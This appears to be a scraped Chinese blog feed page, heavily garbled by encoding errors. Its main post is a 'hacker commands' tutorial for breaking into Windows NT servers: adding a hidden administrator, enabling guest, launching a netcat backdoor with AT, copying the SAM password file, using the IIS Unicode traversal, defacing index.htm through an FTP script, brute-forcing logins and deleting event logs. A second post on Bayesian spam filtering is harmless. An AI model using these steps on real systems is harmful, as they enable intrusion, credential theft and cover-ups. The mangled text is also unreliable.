下面的操作你必须登陆后才可以?登陆的方法就在上?

下面我们讲怎么创徏一个用P׃SA的权限相当于pȝ的超U用?
我们加一个heibai的用户密码ؓlovechina
net user heibai lovechina /add
只要昄命o成功,那么我们可以把他加入Administratorl了.
net localgroup Administrators heibai /add
q里是讲映射Ҏ的C?当然其他盘也可以,只要存在p?我们q里把对方的C盘映到本地的Z?
net use z:\\\\127.0.0.1\\c$
net start telnet
q样可以打开Ҏ的TELNET服务.
q里是将Guest用户Ȁz,guest是NT的默认用P而且无法删除呢?不知道是否这P我的2000是删除不了它?
net user guest /active:yes
q里是把一个用L密码ҎQ我们把guest的密码改为lovechinaQ其他用户也可以的。只要有权限p了呀Q?
net user guest lovechina
net命o果然强大啊!

2:at
一般一个入侵者入侵后都会留下后门Q也是U木马了Q你把木马传了上去,怎么启动他呢Q?
那么需要用AT命oQ这里假设你已经登陆了那个服务器?
你首先要得到Ҏ的时_
net time \\\\127.0.0.1
会q回一个时_q里假设旉?2:1,现在需要新Z个作业,其ID=1
at \\\\127.0.0.1 12:3 nc.exe 严志?
q里假设了一个木马,名ؓNC.EXE,q个东西要在Ҏ服务器上.
q里介绍一下NC,NC是NETCAT的简U?Z方便输入,一般会被改?它是一个TELNET服务,端口?9.
{到?2:3可以连接到Ҏ?9端口.q样qҎU下了木?

3:telnet
q个命o非常实用,它可以与q方做连接,不过正常下需要密码、用?不过你给ҎU了木马,直接q到q个木马打开的端?
telnet 127.0.0.1 99
q样可以连到对方的99端口.那你可以在Ҏq行命o?q个也就是肉?

4:FTP
它可以将你的东西传到Ҏ机子?你可以去甌个支持FTP上传的空?国内多的?如果真的找不?我给?a >WWW.51.NET,不错?当我们申请完后,它会l用户名,密码,以及FTP服务?
在上传前需要登陆先Q这里我们假设FTP服务器是WWW.51.NET,用户名是HUCJS,密码?54321
ftpwww.51.net
他会要求输入用户,成功后会要求输入密码.
下面先说上传,假设你需上传的文件是INDEX.HTM,它位于C:\\?传到ҎD:\\
get c:\\index.htm d:\\
假设你要把对方C盘下的INDEX.HTM,下到你的机子的D盘下
put c:\\index.htm d:\\
5:copy

下面我说说怎样把本地的文g复制到对方硬盘上去,需要徏立好IPC$q接才有效?
q里我们把本地C盘下的index.htm复制?27.0.0.1的C盘下
copy index.htm \\\\127.0.0.1\\c$\\index.htm
如果你要复制到D盘下把C改ؓDQ就行了Q?
copy index.htm \\\\127.0.0.1\\d$\\index.htm
如果你要把他复制到WINNT目录?
p把输?
copy index.htm \\\\127.0.0.1\\admin$\\index.htm
admin$是winnt

要把Ҏ的文件复制过来,Z告诉大家NT的备份的数据库放在x:\\winnt\\repair\\sam._ sam._是数据库的文件名
下面把127.0.0.1的数据库复制到本地C盘下
copy \\\\127.0.0.1\\admin$\\repair\\sam._ c:\\

6Qset
如果你跑q了一部机子,而且想黑他(q思想只能在特别时候才准有Q,当然他的80端口要开Q不然你黑给谁看。这旉要用SET命oQ?
下面是我得到的结果!我来分析它,只是找主在那而已?
COMPUTERNAME=PENTIUMII
ComSpec=D:\\WINNT\\system32\\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=当前登陆者的IPQ这里本来是昄我的IPQ被我删除了
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\\WINNT\\system32\\os2\\dll;
OS=Windows_NT
Path=D:\\WINNT\\system32;D:\\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:\\vlroot主页攑֜的地址Q只要你看到PATH_TRANSLATED=的后面就是主늚存放地址。这里是E:\\vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0Ҏ使用IIS/3.0
SystemDrive=D:
SystemRoot=D:\\WINNT
TZ=GMT-9
USERPROFILE=D:\\WINNT\\Profiles\\Default User
windir=D:\\WINNT
_红色的那行是Ҏ主页存放地址Q这里告诉大家一个技巧,很笨的技巧啊Q不q只能用q个Ҏ才能100%的找C늚名称Q当你DIRq个目录Ӟ一定会看到很多文gQ你可以把所有文件在览器这栯入XX.XX.XX.XX/文g名,q样只要看到和XX.XX.XX.XX看到的也面一模一P那么q就是主늚名称了?

7Qnbtstat
如果你扫C部NT的机子,他的136?39其中一个端口开了的话,p用这个命令得到用户了。顺便告诉大家这是netbiosQ得到用户名后就可以猜猜密码了。例如比较简单的密码Q密码和用户名一LQ都试下Q不行就暴力破解吧!
现在|上很多NT的机子都开了这些端口的Q你可以l习下,我们来分析得到的l果?
命o?
nbtstat -A XX.XX.XX.XX
-A一定要大写哦?
下面是得到的l果?
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP

_红色的是登陆q这部系l的用户Q可能你不知道怎么看,大家是不是看C一H数字,只要q窜数字?lt;03>的话Q那他前面的是用户?
q里的用hPENTIUMII?

8QShutdown
关了Ҏ的NT服务器的命o
Shutdown \\\\IP地址 t:20
20U后NT自动关闭Q三思后才能q行q个命oQ这样对Ҏ造很大的损失Q要做个有良心的入R者呀?

9QDIR
q个命o没什么好Ԍ但是却非帔R要,他是查看一目录里的所有文件、文件夹?
你可以本地试下?

10Qecho
著名的漏zUnicodeQ这个命令可以简单的黑一下有q个漏洞的主机?

我们假设我们要把“南京大屠杀铁证如山QQ?本h不得抵赖Q”写入index.htmQ有2U方法,大家看看有什么区别?
echo 南京大屠杀铁证如山QQ?本h不得抵赖Q?gt;index.htm
echo 南京大屠杀铁证如山QQ?本h不得抵赖Q?gt;>index.htm

W一个的意思是覆盖index.htm原有的内容,把“南京大屠杀铁证如山QQ?本h不得抵赖Q”写qindex.htm?
W二个的意思是把“南京大屠杀铁证如山QQ?本h不得抵赖Q”加到index.htm里面?
?gt;>”生的内容追加进文g中,?gt;”则原文g内容覆盖?
大家可以本地试下?

可能你会问,q样单黑下有什么好玩的Q其实他可以用来下蝲主页到对方的目录里?
1、首先,我们需要申请一个免费的主页I间?
2、用echo在可写目录下建立如下内容的txt文gQ(以chinren服务器ؓ例。)
open upload.chinaren.comQ你的FTP服务器,甌时你的空间提供商会给你的Q?
cnhackQ你甌时的用户名)
testQ你甌时的密码Q?
get index.htm c:\\inetpub\\wwwroot\\index.htmQ这里是把你I间上的index.htm下蝲到对方的c:\\inetpub\\wwwroot\\index.htmQ?
byeQ退出FTP对话Q相当在98下的DOSQ用EXIT退出DOSQ?

具体的做法:
输入 echo open upload.chinaren.com> c:\\cnhack.txt
输入 echo cnhack >> c:\\cnhack.txt
输入 echo 39abs >> c:\\cnhack.txt
输入 echo get index.htm c:\\inetpub\\wwwroot\\index.htm+>>+c:\\cnhack.txt
最后输?ftp -s:c:\\cnhack.txt Q利用ftp?s参数Q执行文仉的内宏V)

{命令完成时Q文件已l下载到你指定的文g里了?

注意Q取得文件后Q请删除cnhack.txt。(如果不删除,很容易会l别人看C的密码。)
记得?del c:\\cnhack.txt

11:attrib
q个命o是设|文件属性的。如果你想黑一个站Q而他的主늚文g属性设|了只读Q那很可怜呀Q想删除他也不行Q想覆盖他也不行。倒!不过有这个命令就别怕了?
attrib -r index.htm
q个命o是把index.htm的只d性去掉?
如果把?”改为?”则是把q个文g的属性设|ؓ只读
attrib +r index.htm
q个命o是把index.htm的属性设|ؓ只读?

12:del
当你看到q个标题可别倒下啊!现在要离开127.0.0.1了,要删?志,当然要删?志啦Q想被捉吗。呵c?

NT?志有q些
del C:\\winnt\\system32\\logfiles\\*.*
del C:\\winnt\\ssytem32\\config\\*.evt
del C:\\winnt\\system32\\dtclog\\*.*
del C:\\winnt\\system32\\*.log
del C:\\winnt\\system32\\*.txt
del C:\\winnt\\*.txt
del C:\\winnt\\*.log
只要删除q些可以了。有些系lNT安装在D盘或其他盘,p把CҎ其他盘?/p>

黑客常用命o教程
打开Q开始-q行Q然后输入CMD回RQ?br />以下是黑客命?br />\netstat -an
查看本机所有开发端口和q接
\net use
查看本机所有连?br />\net use\\192.168.1.12\ipc$ 123789/user:administrator
与别的计机建立IPC$q接
\net user
昄本机所有用?br />\net user administrator
昄某消息的详细消息
\net share
昄本机当前׃n
\net share mylove /del
删除本机某共?br />\net share mylove=c:\temp /remark:"my first share"
增加׃n文g?br />\net time \\192.168.1.12
昄q程机器当前的时?br />\net start telnet
启动服务
\net stop telnet
停止服务
\net user hacker 123/add
d用户
\net localgroup administrators hacker /add
添加用户到理员组Q提升权?br />\ping -t -n 1000 www.cctv.com
看某|站的IP地址Q及响应速度
\tracert www.cctv.com
查看从本机出发,中间l过了那些\由器到达



FNST 2006-06-12 11:54 发表评论
]]>
贝叶斯算?/title><link>http://www.aygfsteel.com/sheerfreedom/archive/2006/06/12/52164.html</link><dc:creator>FNST</dc:creator><author>FNST</author><pubDate>Mon, 12 Jun 2006 03:41:00 GMT</pubDate><guid>http://www.aygfsteel.com/sheerfreedom/archive/2006/06/12/52164.html</guid><wfw:comment>http://www.aygfsteel.com/sheerfreedom/comments/52164.html</wfw:comment><comments>http://www.aygfsteel.com/sheerfreedom/archive/2006/06/12/52164.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/sheerfreedom/comments/commentRss/52164.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/sheerfreedom/services/trackbacks/52164.html</trackback:ping><description><![CDATA[ <p>一Q?贝叶斯过滤算法的基本步骤<br /><br />1) 攉大量的垃N件和非垃NӞ建立垃圾邮g集和非垃N仉?br />2) 提取邮g主题和邮件体中的独立字串例如 ABC32QE234{作为TOKEN串ƈl计提取出的TOKEN串出现的ơ数卛_频。按照上q的Ҏ分别处理垃圾邮g集和非垃N仉中的所有邮件?br />3) 每一个邮仉对应一个哈希表Qhashtable_good对应非垃N仉而hashtable_bad对应垃圾邮g集。表中存储TOKEN串到字频的映关pR?br />4) 计算每个哈希表中TOKEN串出现的概率P=Q某TOKEN串的字频Q?Q对应哈希表的长度)<br />5) l合考虑hashtable_good和hashtable_badQ推断出当新来的邮g中出现某个TOKEN串时Q该新邮件ؓ垃圾邮g的概率。数学表辑ּ为:<br />A事g----邮g为垃N? <br />t1,t2 …?tn代表TOKEN?br />则PQA|tiQ表C在邮g中出现TOKEN串tiӞ该邮件ؓ垃圾邮g的概率?br />?br />P1QtiQ?Qti在hashtable_good中的|<br />P2QtiQ?Qti在hashtable_ bad中的|<br />?PQA|tiQ? P1QtiQ?[QP1QtiQ? P2QtiQ]Q?br />6) 建立新的哈希?hashtable_probability存储TOKEN串ti到PQA|tiQ的映射<br />7) xQ垃N仉和非垃圾邮g集的学习q程l束。根据徏立的哈希?hashtable_probability可以估计一新到的邮g为垃N件的可能性?br />当新C邮件时Q按照步?Q生成TOKEN丌Ӏ查询hashtable_probability得到该TOKEN 串的键倹{?br />假设p邮g共得到N个TOKENԌt1,t2…?tn, hashtable_probability中对应的gؓP1QP2Q。。。。。。PNQ?br />P(A|t1 ,t2, t3……tn)表示在邮件中同时出现多个TOKEN串t1,t2…?tnӞ该邮件ؓ垃圾邮g的概率?br />由复合概率公式可?br />P(A|t1 ,t2, t3……tn)=QP1*P2*。。。。PNQ?[P1*P2*。。。。。PN+Q?-P1Q?Q?-P2Q?。。。(1-PNQ]<br />当P(A|t1 ,t2, t3……tn)过预定阈值时Q就可以判断邮g为垃N件?br /><br />二. 贝叶斯过滤算法D?br /><br />例如Q一含有“法 ?功”字L垃圾邮g A<br />?一含有“法律”字L非垃N件B<br />Ҏ邮gA生成hashtable_ badQ该哈希表中的记录ؓ<br />法:1?br />轮:1?br />功:1?br />计算得在本表中:<br />法出现的概率??<br />轮出现的概率??<br />功出现的概率??<br />Ҏ邮gB生成hashtable_goodQ该哈希表中的记录ؓQ?br />法:1<br />律:1<br />计算得在本表中:<br />法出现的概率??<br />律出现的概率??<br />l合考虑两个哈希表,共有四个TOKENԌ ????br />当邮件中出现“法”时Q该邮g为垃N件的概率为:<br />P=0?/Q??+0?Q?0?75<br />出现“轮”时Q?br />P=0?/Q??+0Q?1<br />出现“功“时Q?br />P=0?/Q??+0Q?1<br />出现“律”时<br />P=0/Q?+0?Q?0Q?br />由此可得W三个哈希表Qhashtable_probability 其数据ؓQ?br />法:0?75<br />轮:1<br />功:1<br />律:0<br /><br />当新C含有“功律”的邮gӞ我们可得C个TOKENԌ??br />查询哈希表hashtable_probability可得<br />PQ垃N件| 功)=1<br />P Q垃N件|律)=0<br />此时该邮件ؓ垃圾邮g的可能性ؓQ?br />P=Q?*1Q?[0*1+Q?-0Q?Q?-1Q]=0<br />由此可推邮g为非垃圾邮g<br /></p> <img src ="http://www.aygfsteel.com/sheerfreedom/aggbug/52164.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/sheerfreedom/" target="_blank">FNST</a> 2006-06-12 11:41 <a href="http://www.aygfsteel.com/sheerfreedom/archive/2006/06/12/52164.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <a href="http://www.aygfsteel.com/" title="狠狠久久亚洲欧美专区_中文字幕亚洲综合久久202_国产精品亚洲第五区在线_日本免费网站视频">狠狠久久亚洲欧美专区_中文字幕亚洲综合久久202_国产精品亚洲第五区在线_日本免费网站视频</a> </div> </footer> վ֩ģ壺 <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">ײ</a>| <a href="http://" target="_blank">鱦</a>| <a href="http://" target="_blank">ɰ</a>| <a href="http://" target="_blank">ɽ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">ԭ</a>| <a href="http://" target="_blank">΢ɽ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">û</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">ʡ</a>| <a href="http://" target="_blank">⽭</a>| <a href="http://" target="_blank">˹</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">ɽ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">׶</a>| <a href="http://" target="_blank">ӡ</a>| <a href="http://" target="_blank">½</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">Ƽ</a>| <a href="http://" target="_blank">ƽ</a>| <a href="http://" target="_blank">γ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">˶</a>| <a href="http://" target="_blank">ʯ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">ͬ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">Ž</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>